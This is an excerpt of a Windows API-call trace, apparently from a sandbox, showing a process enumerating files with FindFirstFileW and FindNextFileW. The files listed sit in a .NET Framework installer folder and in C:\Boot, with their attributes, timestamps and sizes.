	[0070.867] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0070.867] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0070.868] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0070.868] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0070.868] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0070.868] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0070.868] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0070.868] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0070.869] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0070.869] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0070.869] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0070.869] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0070.869] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0070.869] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0070.869] FindClose (in: hFindFile=0x3121410 | out: hFindFile=0x3121410) returned 1
	[0070.884] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.884] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0070.884] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0070.884] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0070.885] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0070.885] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0070.885] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0070.885] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0070.890] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0070.890] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0070.890] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0070.891] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0070.891] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0070.891] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0070.891] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0070.891] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0070.891] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0070.891] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0070.891] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0070.892] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0070.892] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0070.892] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0070.892] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0070.892] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0070.892] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0070.892] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0070.894] FindClose (in: hFindFile=0x31211d0 | out: hFindFile=0x31211d0) returned 1
	[0070.894] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.910] FindNextFileW (in: hFindFile=0x3121350, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0070.910] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.910] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x3121590
	[0070.912] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0070.929] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0070.930] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
